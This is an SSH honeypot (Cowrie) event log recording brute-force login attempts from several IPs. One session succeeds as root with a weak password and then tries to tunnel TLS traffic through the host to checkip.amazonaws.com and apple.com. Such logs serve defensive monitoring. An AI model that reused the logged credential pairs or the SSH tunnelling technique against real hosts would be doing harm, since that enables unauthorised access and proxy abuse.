{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":60386,"dst_ip":"159.203.135.109","dst_port":22,"session":"53fe8f958edc","protocol":"ssh","message":"New connection: 195.178.110.218:60386 (159.203.135.109:22) [session: 53fe8f958edc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:53:28.064779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:53:28.069451Z","src_ip":"195.178.110.218","session":"53fe8f958edc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:53:28.144367Z","src_ip":"195.178.110.218","session":"53fe8f958edc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:53:28.370006Z","src_ip":"195.178.110.218","session":"53fe8f958edc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:53:29.447173Z","src_ip":"195.178.110.218","session":"53fe8f958edc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.105.63.214","src_port":60228,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f93f40ebd49","protocol":"ssh","message":"New connection: 172.105.63.214:60228 (10.17.0.5:22) [session: 1f93f40ebd49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:53:37.272815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:53:37.275898Z","src_ip":"172.105.63.214","session":"1f93f40ebd49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:53:37.486409Z","src_ip":"172.105.63.214","session":"1f93f40ebd49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"consultant","password":"Password1","message":"login attempt [consultant/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:53:37.911129Z","src_ip":"172.105.63.214","session":"1f93f40ebd49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:53:39.124830Z","src_ip":"172.105.63.214","session":"1f93f40ebd49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.17","src_port":33640,"dst_ip":"10.17.0.5","dst_port":22,"session":"febbd7c5d72f","protocol":"ssh","message":"New connection: 77.90.185.17:33640 (10.17.0.5:22) [session: febbd7c5d72f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:54:28.549426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:54:28.553314Z","src_ip":"77.90.185.17","session":"febbd7c5d72f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:54:28.655868Z","src_ip":"77.90.185.17","session":"febbd7c5d72f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Admin123","message":"login attempt [root/Admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:54:29.160073Z","src_ip":"77.90.185.17","session":"febbd7c5d72f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"34.253.23.170","dst_port":443,"src_ip":"77.90.185.17","src_port":41114,"message":"direct-tcp connection request to 34.253.23.170:443 from 127.0.0.1:41114","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:54:31.485016Z","session":"febbd7c5d72f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"34.253.23.170","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 34.253.23.170:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:54:31.676256Z","src_ip":"77.90.185.17","session":"febbd7c5d72f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"34.253.23.170","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03B@\\x7f(;a\\x923t\\x12A\\xdc\\xda\\t0\\x00\\xddz\\xd2\\xdd{8\\xe1\\xbf\\x91\\xae\\x00b\\x90\\x97(\\xfa \\xe6\\x00\\xf3\\xdf\\x85\\xd1]\\xef\\x89J\\x03\\x13z\\x1c(\\xacy\\x14Y\\x8b\\xd3G\\xd92\\x80%\\xfe\\x91\\n\\xa7\\xd9\\xdc\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x03\\xb5R7{%`\\xc9\\xdb\\x9ej>\\x1f3\\x0c4\\x13\\xd9\\xe3\\xe8P\\x03B\\xb3u6\\xe5\\x9fN\\x18{\\n\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 34.253.23.170:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03B@\\x7f(;a\\x923t\\x12A\\xdc\\xda\\t0\\x00\\xddz\\xd2\\xdd{8\\xe1\\xbf\\x91\\xae\\x00b\\x90\\x97(\\xfa \\xe6\\x00\\xf3\\xdf\\x85\\xd1]\\xef\\x89J\\x03\\x13z\\x1c(\\xacy\\x14Y\\x8b\\xd3G\\xd92\\x80%\\xfe\\x91\\n\\xa7\\xd9\\xdc\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x03\\xb5R7{%`\\xc9\\xdb\\x9ej>\\x1f3\\x0c4\\x13\\xd9\\xe3\\xe8P\\x03B\\xb3u6\\xe5\\x9fN\\x18{\\n\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:54:31.678958Z","src_ip":"77.90.185.17","session":"febbd7c5d72f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"95.100.177.76","dst_port":443,"src_ip":"77.90.185.17","src_port":41954,"message":"direct-tcp connection request to 95.100.177.76:443 from 127.0.0.1:41954","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:54:31.807969Z","session":"febbd7c5d72f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"95.100.177.76","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 95.100.177.76:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:54:32.131527Z","src_ip":"77.90.185.17","session":"febbd7c5d72f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"95.100.177.76","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x037|\\xc5\\xf8x\\xcd@L\\xec\\x82\\x05~\\xac\\xbc\\x90\\xb0\\xb0\\xc1\\x17\\x18WKZnV\\xf1\\xa1d\\xb4[\\xf8\\xdc r\\x00@q\\xca\\\\\\x1d\\\\\\xf1\\x0eu\\xe0l\\xa3`V$\\xba\\xf5D5\\xbd\\xa5\\x9eY\\xd7\\x04\\xf6X\\xa7\"R\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 Q\\xb8\\x7f\\xf1\\x99\\x92KrV\\xff\\x10\\xba!\\xda\\xb4\\xf2\\xba\\x86\\xc6\\x99d\\xd2\\n\\xdc\\x06*^\\xb0\\x06\\x04\\x060\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 95.100.177.76:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x037|\\xc5\\xf8x\\xcd@L\\xec\\x82\\x05~\\xac\\xbc\\x90\\xb0\\xb0\\xc1\\x17\\x18WKZnV\\xf1\\xa1d\\xb4[\\xf8\\xdc r\\x00@q\\xca\\\\\\x1d\\\\\\xf1\\x0eu\\xe0l\\xa3`V$\\xba\\xf5D5\\xbd\\xa5\\x9eY\\xd7\\x04\\xf6X\\xa7\"R\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 Q\\xb8\\x7f\\xf1\\x99\\x92KrV\\xff\\x10\\xba!\\xda\\xb4\\xf2\\xba\\x86\\xc6\\x99d\\xd2\\n\\xdc\\x06*^\\xb0\\x06\\x04\\x060\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:54:32.134658Z","src_ip":"77.90.185.17","session":"febbd7c5d72f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.156.119","dst_port":443,"src_ip":"77.90.185.17","src_port":42430,"message":"direct-tcp connection request to 142.251.156.119:443 from 127.0.0.1:42430","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:54:32.572398Z","session":"febbd7c5d72f","protocol":"ssh"}
